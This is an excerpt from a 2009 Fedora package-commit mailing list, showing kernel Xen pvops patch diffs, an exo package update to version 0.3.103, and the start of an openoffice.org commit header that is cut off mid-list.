 drivers/acpi/sleep.c                       |   19 
 drivers/block/Kconfig                      |    1 
 drivers/char/agp/intel-agp.c               |   17 
 drivers/char/hvc_xen.c                     |   99 +
 drivers/gpu/drm/drm_drv.c                  |    2 
 drivers/gpu/drm/drm_gem.c                  |    2 
 drivers/gpu/drm/drm_scatter.c              |   67 +
 drivers/gpu/drm/ttm/ttm_bo_vm.c            |    2 
 drivers/net/Kconfig                        |    1 
 drivers/pci/Makefile                       |    2 
 drivers/pci/msi.c                          |    5 
 drivers/pci/xen-iommu.c                    |  271 ++++
 drivers/xen/Kconfig                        |   48 
 drivers/xen/Makefile                       |   21 
 drivers/xen/acpi.c                         |   23 
 drivers/xen/acpi_processor.c               |  451 ++++++++
 drivers/xen/balloon.c                      |  161 ++
 drivers/xen/biomerge.c                     |   14 
 drivers/xen/blkback/Makefile               |    3 
 drivers/xen/blkback/blkback.c              |  665 +++++++++++
 drivers/xen/blkback/common.h               |  137 ++
 drivers/xen/blkback/interface.c            |  186 +++
 drivers/xen/blkback/vbd.c                  |  118 ++
 drivers/xen/blkback/xenbus.c               |  541 +++++++++
 drivers/xen/events.c                       |  422 +++++++
 drivers/xen/evtchn.c                       |   82 +
 drivers/xen/features.c                     |    2 
 drivers/xen/gntdev.c                       |  625 +++++++++++
 drivers/xen/grant-table.c                  |  103 +
 drivers/xen/mce.c                          |  213 +++
 drivers/xen/netback/Makefile               |    3 
 drivers/xen/netback/common.h               |  223 +++
 drivers/xen/netback/interface.c            |  401 +++++++
 drivers/xen/netback/netback.c              | 1634 +++++++++++++++++++++++++++++
 drivers/xen/netback/xenbus.c               |  470 ++++++++
 drivers/xen/pci.c                          |  124 ++
 drivers/xen/xenbus/Makefile                |    5 
 drivers/xen/xenbus/xenbus_comms.c          |    1 
 drivers/xen/xenbus/xenbus_probe.c          |  380 +-----
 drivers/xen/xenbus/xenbus_probe.h          |   29 
 drivers/xen/xenbus/xenbus_probe_backend.c  |  298 +++++
 drivers/xen/xenbus/xenbus_probe_frontend.c |  292 +++++
 drivers/xen/xenfs/Makefile                 |    3 
 drivers/xen/xenfs/privcmd.c                |  403 +++++++
 drivers/xen/xenfs/super.c                  |   98 +
 drivers/xen/xenfs/xenfs.h                  |    3 
 drivers/xen/xenfs/xenstored.c              |   67 +
 include/acpi/processor.h                   |    2 
 include/asm-generic/pci.h                  |    2 
 include/drm/drmP.h                         |    2 
 include/linux/interrupt.h                  |    1 
 include/linux/page-flags.h                 |   18 
 include/linux/sched.h                      |    7 
 include/linux/swiotlb.h                    |    1 
 include/xen/Kbuild                         |    1 
 include/xen/acpi.h                         |   84 +
 include/xen/balloon.h                      |    8 
 include/xen/blkif.h                        |  122 ++
 include/xen/events.h                       |   27 
 include/xen/gntdev.h                       |  119 ++
 include/xen/grant_table.h                  |   43 
 include/xen/interface/grant_table.h        |   22 
 include/xen/interface/io/ring.h            |    3 
 include/xen/interface/memory.h             |   92 +
 include/xen/interface/physdev.h            |   51 
 include/xen/interface/platform.h           |  336 +++++
 include/xen/interface/vcpu.h               |   41 
 include/xen/interface/xen-mca.h            |  429 +++++++
 include/xen/interface/xen.h                |   44 
 include/xen/privcmd.h                      |   80 +
 include/xen/swiotlb.h                      |  102 +
 include/xen/xen-ops.h                      |   11 
 include/xen/xenbus.h                       |    2 
 kernel/irq/manage.c                        |    3 
 kernel/sched.c                             |   15 
 lib/swiotlb.c                              |    5 
 mm/page_alloc.c                            |   14 
 162 files changed, 13954 insertions(+), 1497 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1.2.44 -r 1.1.2.45 xen.pvops.patchIndex: xen.pvops.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Attic/xen.pvops.patch,v
retrieving revision 1.1.2.44
retrieving revision 1.1.2.45
diff -u -p -r1.1.2.44 -r1.1.2.45
--- xen.pvops.patch	24 Sep 2009 21:05:14 -0000	1.1.2.44
+++ xen.pvops.patch	10 Oct 2009 15:04:17 -0000	1.1.2.45
@@ -1,8 +1,39 @@
 diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
-index 13ffa5d..ae6617b 100644
+index 13ffa5d..a0cd847 100644
 --- a/arch/x86/Kconfig
 +++ b/arch/x86/Kconfig
-@@ -1884,6 +1884,10 @@ config PCI_OLPC
+@@ -136,7 +136,7 @@ config GENERIC_CALIBRATE_DELAY
+ 
+ config GENERIC_TIME_VSYSCALL
+ 	bool
+-	default X86_64
++	default X86_VSYSCALL
+ 
+ config ARCH_HAS_CPU_RELAX
+ 	def_bool y
+@@ -222,6 +222,10 @@ config X86_32_LAZY_GS
+ 	def_bool y
+ 	depends on X86_32 && !CC_STACKPROTECTOR
+ 
++config X86_VSYSCALL
++       def_bool y
++       depends on X86_64
++
+ config KTIME_SCALAR
+ 	def_bool X86_32
+ source "init/Kconfig"
+@@ -518,6 +522,10 @@ config PARAVIRT_CLOCK
+ 	bool
+ 	default n
+ 
++config PARAVIRT_CLOCK_VSYSCALL
++       bool
++       depends on PARAVIRT_CLOCK && X86_VSYSCALL
++
+ endif
+ 
+ config PARAVIRT_DEBUG
+@@ -1884,6 +1892,10 @@ config PCI_OLPC
  	def_bool y
  	depends on PCI && OLPC && (PCI_GOOLPC || PCI_GOANY)
  
@@ -27,21 +58,25 @@ index 1b68659..5e7db44 100644
                  stackp-$(CONFIG_CC_STACKPROTECTOR_ALL) += -fstack-protector-all
                  KBUILD_CFLAGS += $(stackp-y)
 diff --git a/arch/x86/include/asm/agp.h b/arch/x86/include/asm/agp.h
-index 9825cd6..8107b71 100644
+index 9825cd6..0717c5e 100644
 --- a/arch/x86/include/asm/agp.h
 +++ b/arch/x86/include/asm/agp.h
-@@ -3,6 +3,10 @@
+@@ -1,9 +1,14 @@
+ #ifndef _ASM_X86_AGP_H
+ #define _ASM_X86_AGP_H
  
++#include <linux/dma-mapping.h>
++
  #include <asm/pgtable.h>
  #include <asm/cacheflush.h>
-+#include <asm/dma-mapping.h>
-+
+ 
 +#include <asm/xen/hypervisor.h>
 +#include <asm/xen/page.h>
- 
++
  /*
   * Functions to keep the agpgart mappings coherent with the MMU. The
-@@ -23,13 +27,15 @@
+  * GART gives the CPU a physical alias of pages in memory. The alias
+@@ -23,13 +28,15 @@
  #define flush_agp_cache() wbinvd()
  
  /* Convert a physical address to an address suitable for the GART. */
@@ -75,6 +110,53 @@ index 7ecba4d..df06646 100644
  extern u64 early_reserve_e820(u64 startt, u64 sizet, u64 align);
  
  extern unsigned long e820_end_of_ram_pfn(void);
+diff --git a/arch/x86/include/asm/fixmap.h b/arch/x86/include/asm/fixmap.h
+index 7b2d71d..026ee10 100644
+--- a/arch/x86/include/asm/fixmap.h
++++ b/arch/x86/include/asm/fixmap.h
+@@ -74,11 +74,16 @@ enum fixed_addresses {
+ #ifdef CONFIG_X86_32
+ 	FIX_HOLE,
+ 	FIX_VDSO,
+-#else
++#endif
++
++#ifdef CONFIG_X86_VSYSCALL
+ 	VSYSCALL_LAST_PAGE,
+ 	VSYSCALL_FIRST_PAGE = VSYSCALL_LAST_PAGE
+ 			    + ((VSYSCALL_END-VSYSCALL_START) >> PAGE_SHIFT) - 1,
+ 	VSYSCALL_HPET,
++#endif	/* CONFIG_X86_VSYSCALL */
++#ifdef CONFIG_PARAVIRT_CLOCK_VSYSCALL
++	FIX_PVCLOCK_TIME_INFO,
+ #endif
+ 	FIX_DBGP_BASE,
+ 	FIX_EARLYCON_MEM_BASE,
+@@ -178,6 +183,24 @@ static inline void __set_fixmap(enum fixed_addresses idx,
+ 
+ extern void __this_fixmap_does_not_exist(void);
+ 
++static inline bool user_fixmap(enum fixed_addresses fixmap)
++{
++	switch (fixmap) {
++#ifdef CONFIG_X86_32
++	case FIX_HOLE ... FIX_VDSO:
++#else
++	case VSYSCALL_LAST_PAGE ... VSYSCALL_HPET:
++#ifdef CONFIG_PARAVIRT_CLOCK_VSYSCALL
++	case FIX_PVCLOCK_TIME_INFO:
++#endif
++#endif
++		return true;
++
++	default:
++		return false;
++	}
++}
++
+ /*
+  * 'index to address' translation. If anyone tries to use the idx
+  * directly without translation, we catch the bug with a NULL-deference
 diff --git a/arch/x86/include/asm/i387.h b/arch/x86/include/asm/i387.h
 index 175adf5..2e75292 100644
 --- a/arch/x86/include/asm/i387.h
@@ -162,7 +244,7 @@ index ef51b50..e15fca1 100644
 +
  #endif /* _ASM_X86_MICROCODE_H */
 diff --git a/arch/x86/include/asm/paravirt.h b/arch/x86/include/asm/paravirt.h
-index 4fb37c8..e19ffe3 100644
+index 4fb37c8..e8420a2 100644
 --- a/arch/x86/include/asm/paravirt.h
 +++ b/arch/x86/include/asm/paravirt.h
 @@ -7,689 +7,11 @@
@@ -927,12 +1009,59 @@ index 4fb37c8..e19ffe3 100644
  #ifdef CONFIG_X86_32
  #define PV_SAVE_REGS "pushl %ecx; pushl %edx;"
  #define PV_RESTORE_REGS "popl %edx; popl %ecx;"
+@@ -1565,42 +863,22 @@ extern struct paravirt_patch_site __parainstructions[],
+ 
+ static inline unsigned long __raw_local_save_flags(void)
+ {
+-	unsigned long f;
+-
+-	asm volatile(paravirt_alt(PARAVIRT_CALL)
+-		     : "=a"(f)
+-		     : paravirt_type(pv_irq_ops.save_fl),
+-		       paravirt_clobber(CLBR_EAX)
+-		     : "memory", "cc");
+-	return f;
++	return PVOP_CALLEE0(unsigned long, pv_irq_ops.save_fl);
+ }
+ 
+ static inline void raw_local_irq_restore(unsigned long f)
+ {
+-	asm volatile(paravirt_alt(PARAVIRT_CALL)
+-		     : "=a"(f)
+-		     : PV_FLAGS_ARG(f),
+-		       paravirt_type(pv_irq_ops.restore_fl),
+-		       paravirt_clobber(CLBR_EAX)
+-		     : "memory", "cc");
++	PVOP_VCALLEE1(pv_irq_ops.restore_fl, f);
+ }
+ 
+ static inline void raw_local_irq_disable(void)
+ {
+-	asm volatile(paravirt_alt(PARAVIRT_CALL)
+-		     :
+-		     : paravirt_type(pv_irq_ops.irq_disable),
+-		       paravirt_clobber(CLBR_EAX)
+-		     : "memory", "eax", "cc");
++	PVOP_VCALLEE0(pv_irq_ops.irq_disable);
+ }
+ 
+ static inline void raw_local_irq_enable(void)
+ {
+-	asm volatile(paravirt_alt(PARAVIRT_CALL)
+-		     :
+-		     : paravirt_type(pv_irq_ops.irq_enable),
+-		       paravirt_clobber(CLBR_EAX)
+-		     : "memory", "eax", "cc");
++	PVOP_VCALLEE0(pv_irq_ops.irq_enable);
+ }
+ 
+ static inline unsigned long __raw_local_irq_save(void)
 diff --git a/arch/x86/include/asm/paravirt_types.h b/arch/x86/include/asm/paravirt_types.h
 new file mode 100644
-index 0000000..b9bb5e8
+index 0000000..973867d
[...2693 lines suppressed...]
++	uint64_t index;
++	/* Variable IN parameter. */
++	/* Array of grant references, of size @count. */
++	struct ioctl_gntdev_grant_ref refs[1];
++};
++
++/*
++ * Removes the grant references from the mapping table of an instance of
++ * of gntdev. N.B. munmap() must be called on the relevant virtual address(es)
++ * before this ioctl is called, or an error will result.
++ */
++#define IOCTL_GNTDEV_UNMAP_GRANT_REF \
++_IOC(_IOC_NONE, 'G', 1, sizeof(struct ioctl_gntdev_unmap_grant_ref))       
++struct ioctl_gntdev_unmap_grant_ref {
++	/* IN parameters */
++	/* The offset was returned by the corresponding map operation. */
++	uint64_t index;
++	/* The number of pages to be unmapped. */
++	uint32_t count;
++	uint32_t pad;
++};
++
++/*
++ * Returns the offset in the driver's address space that corresponds
++ * to @vaddr. This can be used to perform a munmap(), followed by an
++ * UNMAP_GRANT_REF ioctl, where no state about the offset is retained by
++ * the caller. The number of pages that were allocated at the same time as
++ * @vaddr is returned in @count.
++ *
++ * N.B. Where more than one page has been mapped into a contiguous range, the
++ *      supplied @vaddr must correspond to the start of the range; otherwise
++ *      an error will result. It is only possible to munmap() the entire
++ *      contiguously-allocated range at once, and not any subrange thereof.
++ */
++#define IOCTL_GNTDEV_GET_OFFSET_FOR_VADDR \
++_IOC(_IOC_NONE, 'G', 2, sizeof(struct ioctl_gntdev_get_offset_for_vaddr))
++struct ioctl_gntdev_get_offset_for_vaddr {
++	/* IN parameters */
++	/* The virtual address of the first mapped page in a range. */
++	uint64_t vaddr;
++	/* OUT parameters */
++	/* The offset that was used in the initial mmap() operation. */
++	uint64_t offset;
++	/* The number of pages mapped in the VM area that begins at @vaddr. */
++	uint32_t count;
++	uint32_t pad;
++};
++
++/*
++ * Sets the maximum number of grants that may mapped at once by this gntdev
++ * instance.
++ *
++ * N.B. This must be called before any other ioctl is performed on the device.
++ */
++#define IOCTL_GNTDEV_SET_MAX_GRANTS \
++_IOC(_IOC_NONE, 'G', 3, sizeof(struct ioctl_gntdev_set_max_grants))
++struct ioctl_gntdev_set_max_grants {
++	/* IN parameter */
++	/* The maximum number of grants that may be mapped at once. */
++	uint32_t count;
++};
++
++#endif /* __LINUX_PUBLIC_GNTDEV_H__ */
 diff --git a/include/xen/grant_table.h b/include/xen/grant_table.h
 index a40f1cd..b89ee8a 100644
 --- a/include/xen/grant_table.h
@@ -16168,6 +17470,20 @@ index 39da93c..8211af8 100644
   * Bitfield values for update_pin_status.flags.
   */
   /* Map the grant entry for access by I/O devices. */
+diff --git a/include/xen/interface/io/ring.h b/include/xen/interface/io/ring.h
+index e8cbf43..865dcf0 100644
+--- a/include/xen/interface/io/ring.h
++++ b/include/xen/interface/io/ring.h
+@@ -73,7 +73,8 @@ union __name##_sring_entry {						\
+ struct __name##_sring {							\
+     RING_IDX req_prod, req_event;					\
+     RING_IDX rsp_prod, rsp_event;					\
+-    uint8_t  pad[48];							\
++    uint8_t  netfront_smartpoll_active;					\
++    uint8_t  pad[47];							\
+     union __name##_sring_entry ring[1]; /* variable-length */		\
+ };									\
+ 									\
 diff --git a/include/xen/interface/memory.h b/include/xen/interface/memory.h
 index af36ead..eac3ce1 100644
 --- a/include/xen/interface/memory.h
@@ -16694,6 +18010,56 @@ index 0000000..6783fce
 +DEFINE_GUEST_HANDLE_STRUCT(xen_platform_op_t);
 +
 +#endif /* __XEN_PUBLIC_PLATFORM_H__ */
+diff --git a/include/xen/interface/vcpu.h b/include/xen/interface/vcpu.h
+index 87e6f8a..0a8edfd 100644
+--- a/include/xen/interface/vcpu.h
++++ b/include/xen/interface/vcpu.h
+@@ -170,4 +170,45 @@ struct vcpu_register_vcpu_info {
+ };
+ DEFINE_GUEST_HANDLE_STRUCT(vcpu_register_vcpu_info);
+ 
++
++/*
++ * Register a memory location to get a secondary copy of the vcpu time
++ * parameters.  The master copy still exists as part of the vcpu
++ * shared memory area, and this secondary copy is updated whenever the
++ * master copy is updated.
++ *
++ * The intent is that this copy may be mapped (RO) into userspace so
++ * that usermode can compute system time using the time info and the
++ * tsc.  Usermode will see an array of vcpu_time_info structures, one
++ * for each vcpu, and choose the right one by an existing mechanism
++ * which allows it to get the current vcpu number (such as via a
++ * segment limit).  It can then apply the normal algorithm to compute
++ * system time from the tsc.
++ *
++ * However, because usermode threads are subject to two levels of
++ * scheduling (kernel scheduling of threads to vcpus, and Xen
++ * scheduling of vcpus to pcpus), we must make sure that the thread
++ * knows it has had a race with either (or both) of these two events.
++ * To allow this, the guest kernel updates the time_info version
++ * number when the vcpu does a context switch, so that usermode will
++ * always see a version number change when the parameters need to be
++ * revalidated.  Xen makes sure that it always updates the guest's
++ * version rather than overwriting it.  (It assumes that a vcpu will
++ * always update its own version number, so there are no cross-cpu
++ * synchronization issues; the only concern is that if the guest
++ * kernel gets preempted by Xen it doesn't revert the version number
++ * to an older value.)
++ *
++ * @extra_arg == pointer to vcpu_register_time_info_memory_area structure.
++ */
++#define VCPUOP_register_vcpu_time_memory_area   13
++
++struct vcpu_register_time_memory_area {
++	union {
++		struct vcpu_time_info *v;
++		struct pvclock_vcpu_time_info *pv;
++		uint64_t p;
++	} addr;
++};
++
+ #endif /* __XEN_PUBLIC_VCPU_H__ */
 diff --git a/include/xen/interface/xen-mca.h b/include/xen/interface/xen-mca.h
 new file mode 100644
 index 0000000..f31fdab
@@ -17442,6 +18808,46 @@ index 0ec9ed8..07a11dc 100644
  			return;
  		desc->status |= IRQ_SUSPENDED;
  	}
+diff --git a/kernel/sched.c b/kernel/sched.c
+index 1b59e26..b998504 100644
+--- a/kernel/sched.c
++++ b/kernel/sched.c
+@@ -7005,6 +7005,13 @@ out:
+ }
+ EXPORT_SYMBOL_GPL(set_cpus_allowed_ptr);
+ 
++static ATOMIC_NOTIFIER_HEAD(migration_notifications);
++
++void register_migration_notifier(struct notifier_block *n)
++{
++	atomic_notifier_chain_register(&migration_notifications, n);
++}
++
+ /*
+  * Move (not current) task off this cpu, onto dest cpu. We're doing
+  * this because either it can't run here any more (set_cpus_allowed()
+@@ -7020,6 +7027,7 @@ static int __migrate_task(struct task_struct *p, int src_cpu, int dest_cpu)
+ {
+ 	struct rq *rq_dest, *rq_src;
+ 	int ret = 0, on_rq;
++	struct migration_notifier mn;
+ 
+ 	if (unlikely(!cpu_active(dest_cpu)))
+ 		return ret;
+@@ -7044,6 +7052,13 @@ static int __migrate_task(struct task_struct *p, int src_cpu, int dest_cpu)
+ 		activate_task(rq_dest, p, 0);
+ 		check_preempt_curr(rq_dest, p, 0);
+ 	}
++
++	mn.task = p;
++	mn.from_cpu = src_cpu;
++	mn.to_cpu = dest_cpu;
++
++	atomic_notifier_call_chain(&migration_notifications, 0, &mn);
++
+ done:
+ 	ret = 1;
+ fail:
 diff --git a/lib/swiotlb.c b/lib/swiotlb.c
 index bffe6d7..cec5f62 100644
 --- a/lib/swiotlb.c
@@ -17471,7 +18877,7 @@ index bffe6d7..cec5f62 100644
  		panic("Cannot allocate SWIOTLB overflow buffer!\n");
  
 diff --git a/mm/page_alloc.c b/mm/page_alloc.c
-index a0de15f..5e84a5c 100644
+index 0b3c6cb..49ec6c9 100644
 --- a/mm/page_alloc.c
 +++ b/mm/page_alloc.c
 @@ -566,6 +566,13 @@ static void __free_pages_ok(struct page *page, unsigned int order)

xen.pvops.post.patch:
 b/arch/x86/include/asm/paravirt_types.h |    3 +++
 b/arch/x86/kernel/process_32.c          |    2 ++
 b/arch/x86/pci/common.c                 |   16 ++++++++++++++++
 b/drivers/gpu/drm/drm_gem.c             |    1 -
 drivers/pci/pci.h                       |    2 ++
 5 files changed, 23 insertions(+), 1 deletion(-)

Index: xen.pvops.post.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Attic/xen.pvops.post.patch,v
retrieving revision 1.1.2.29
retrieving revision 1.1.2.30
diff -u -p -r1.1.2.29 -r1.1.2.30
--- xen.pvops.post.patch	24 Sep 2009 21:05:21 -0000	1.1.2.29
+++ xen.pvops.post.patch	10 Oct 2009 15:04:20 -0000	1.1.2.30
@@ -68,3 +68,15 @@ index 2202b62..f371fe8 100644
  }
  
  int __init pcibios_init(void)
+diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c
+index ffe8f43..230c9ff 100644
+--- a/drivers/gpu/drm/drm_gem.c
++++ b/drivers/gpu/drm/drm_gem.c
+@@ -539,7 +539,6 @@ int drm_gem_mmap(struct file *filp, struct vm_area_struct *vma)
+ 	vma->vm_flags |= VM_RESERVED | VM_IO | VM_PFNMAP | VM_DONTEXPAND;
+ 	vma->vm_ops = obj->dev->driver->gem_vm_ops;
+ 	vma->vm_private_data = map->handle;
+-	/* FIXME: use pgprot_writecombine when available */
+ 	vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+ 
+ 	/* Take a ref for this mapping of the object, so that the fault

xen.pvops.pre.patch:
 b/arch/x86/include/asm/paravirt.h |    3 ---
 b/arch/x86/kernel/process_32.c    |    3 +--
 b/arch/x86/pci/common.c           |   16 ----------------
 b/drivers/gpu/drm/drm_gem.c       |    1 +
 drivers/pci/pci.h                 |    2 --
 5 files changed, 2 insertions(+), 23 deletions(-)

Index: xen.pvops.pre.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Attic/xen.pvops.pre.patch,v
retrieving revision 1.1.2.17
retrieving revision 1.1.2.18
diff -u -p -r1.1.2.17 -r1.1.2.18
--- xen.pvops.pre.patch	5 Sep 2009 19:00:27 -0000	1.1.2.17
+++ xen.pvops.pre.patch	10 Oct 2009 15:04:20 -0000	1.1.2.18
@@ -3,6 +3,7 @@ Affected patches;
 linux-2.6-defaults-pci_no_msi.patch - drivers/pci/pci.h
 linux-2.6-execshield.patch - arch/x86/include/asm/paravirt.h arch/x86/kernel/process_32.c
 linux-2.6-pci-cacheline-sizing.patch - arch/x86/pci/common.c
+drm-next-4c57edba4.patch - drivers/gpu/drm/drm_gem.c
 
 --- a/drivers/pci/pci.h	2009-04-24 20:46:50.000000000 +0100
 +++ b/drivers/pci/pci.h	2009-04-23 20:13:43.000000000 +0100
@@ -73,3 +74,15 @@ index 2202b62..f371fe8 100644
  	pcibios_resource_survey();
  
  	if (pci_bf_sort >= pci_force_bf)
+diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c
+index ffe8f43..230c9ff 100644
+--- a/drivers/gpu/drm/drm_gem.c
++++ b/drivers/gpu/drm/drm_gem.c
+@@ -539,6 +539,7 @@ int drm_gem_mmap(struct file *filp, struct vm_area_struct *vma)
+ 	vma->vm_flags |= VM_RESERVED | VM_IO | VM_PFNMAP | VM_DONTEXPAND;
+ 	vma->vm_ops = obj->dev->driver->gem_vm_ops;
+ 	vma->vm_private_data = map->handle;
++	/* FIXME: use pgprot_writecombine when available */
+ 	vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
+ 
+ 	/* Take a ref for this mapping of the object, so that the fault


--- drm-next-8ef8678c8.patch DELETED ---


--- linux-2.6-fix-usb-serial-autosuspend.diff DELETED ---


--- linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch DELETED ---


--- linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch DELETED ---


--- linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch DELETED ---


--- linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch DELETED ---


--- linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch DELETED ---


--- linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch DELETED ---


--- linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch DELETED ---


--- linux-2.6-xen-check-efer-fix.patch DELETED ---


--- linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch DELETED ---


--- linux-2.6-xen-spinlock-stronger-barrier.patch DELETED ---


--- linux-2.6-xen-stack-protector-fix.patch DELETED ---


--- linux-2.6.31-cpufreq-powernow-k8-oops.patch DELETED ---


--- patch-2.6.31.1.bz2.sign DELETED ---


--- ppc-hates-my-family-and-swore-revenge.patch DELETED ---



From cwickert at fedoraproject.org  Sat Oct 10 15:06:37 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 15:06:37 +0000 (UTC)
Subject: rpms/exo/devel .cvsignore, 1.12, 1.13 exo.spec, 1.39, 1.40 sources, 
	1.12, 1.13 exo-0.3.101-default-mount-options.patch, 1.1,
	NONE exo-0.3.101-url-quoting.patch, 1.1, NONE
Message-ID: <20091010150637.4A83F11C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5792

Modified Files:
	.cvsignore exo.spec sources 
Removed Files:
	exo-0.3.101-default-mount-options.patch 
	exo-0.3.101-url-quoting.patch 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-1
- Update to 0.3.103
- Drop patches for URL quoting and default mount options (fixed upstream)
- Revert useless touch -r trick



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	20 Apr 2009 02:08:40 -0000	1.12
+++ .cvsignore	10 Oct 2009 15:06:35 -0000	1.13
@@ -1 +1 @@
-exo-0.3.101.tar.bz2
+exo-0.3.103.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/exo.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- exo.spec	30 Sep 2009 21:34:56 -0000	1.39
+++ exo.spec	10 Oct 2009 15:06:36 -0000	1.40
@@ -2,18 +2,14 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.101
-Release: 5%{?dist}
+Version: 0.3.103
+Release: 1%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
 URL: http://xfce.org/
-Source0: http://www.xfce.org/archive/xfce-4.6.1/src/exo-%{version}.tar.bz2
+Source0: http://archive.xfce.org/src/xfce/exo/0.3/%{name}-%{version}.tar.bz2
 Patch0: exo-0.3.0-x86_64-build.patch
-# http://bugzilla.xfce.org/show_bug.cgi?id=5461
-Patch1: exo-0.3.101-url-quoting.patch
-# http://patches.ubuntu.com/e/exo/extracted/xubuntu-default-mount-options.patch
-Patch2: exo-0.3.101-default-mount-options.patch
 Group: System Environment/Libraries
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: dbus-glib >= 0.22
@@ -57,8 +53,6 @@ Python libraries and header files for th
 %setup -q
 
 %patch0 -p1 -b .x86_64-build
-%patch1 -p1 -b .url-quoting
-%patch2 -p1 -b .utf8
 
 %build
 %configure --enable-gtk-doc --disable-static
@@ -78,9 +72,6 @@ chrpath --delete $RPM_BUILD_ROOT%{_bindi
 chrpath --delete $RPM_BUILD_ROOT%{_libexecdir}/exo-helper-0.3
 chrpath --delete $RPM_BUILD_ROOT%{_libdir}/python*/site-packages/exo-0.3/_exo.so
 
-touch -r NEWS $RPM_BUILD_ROOT%{_datadir}/xfce4/helpers/evolution.desktop
-touch -r NEWS $RPM_BUILD_ROOT%{_datadir}/xfce4/helpers/firefox.desktop
-
 %find_lang libexo-0.3
 
 desktop-file-install                                       \
@@ -143,6 +134,11 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-1
+- Update to 0.3.103
+- Drop patches for URL quoting and default mount options (fixed upstream)
+- Revert useless touch -r trick
+
 * Wed Sep 30 2009 Kevin Fenzi <kevin at tummy.com> - 0.3.101-5
 - Use touch -r trick to fix multilib issue
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	20 Apr 2009 02:08:40 -0000	1.12
+++ sources	10 Oct 2009 15:06:36 -0000	1.13
@@ -1 +1 @@
-1c0eebb360f53eab70454b70e1bde36e  exo-0.3.101.tar.bz2
+16be1f98b09f6c72e8474d0776f74846  exo-0.3.103.tar.bz2


--- exo-0.3.101-default-mount-options.patch DELETED ---


--- exo-0.3.101-url-quoting.patch DELETED ---



From caolanm at fedoraproject.org  Sat Oct 10 15:48:51 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 10 Oct 2009 15:48:51 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch,
	NONE, 1.1 workspace.dba32h.patch, NONE,
	1.1 ooo-build.ooo2497.filter.svg.patch, 1.2,
	1.3 ooo-build.ooo68717.gstreamer.video.patch, 1.2,
	1.3 openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch,
	1.10, 1.11 openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch, 1.2,
	1.3 openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch, 
	1.25,
	1.26 openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch, 1.1,
	1.2 openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch,
	1.6, 1.7 openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch,
	1.3, 1.4 openoffice.org-2.3.0.ooo76649.httpencoding.patch, 1.1,
	1.2 openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch, 1.3,
	1.4 openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch, 1.4,
	1.5 openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch, 1.4, 
	1.5 openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch, 1.3, 
	1.4
	openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch,
	1.1, 1.2 openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch, 1.1, 
	1.2 openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch, 
	1.3, 1.4 openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch, 1.1,
	1.2
	openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch,
	1.2, 1.3 openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch,
	1.1, 1.2 openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch,
	1.1, 1.2 openoffice.org.spec, 1.2018,
	1.2019 workspace.vcl106.patch, 1.1,
	1.2 openoffice.org-3.0.0.ooo95018.sal.fdwarnings.patch, 1.1,
	NONE openoffice.org-3.0.1.ooo97088.sd.accel-fallback.patch, 1.2,
	NONE openoffice.org-3.0.1.ooo97488.sw.ww8toc.patch, 1.5,
	NONE openoffice.org-3.1.0.ooo99541.sw.reopen.flat.addrbooks.patch,
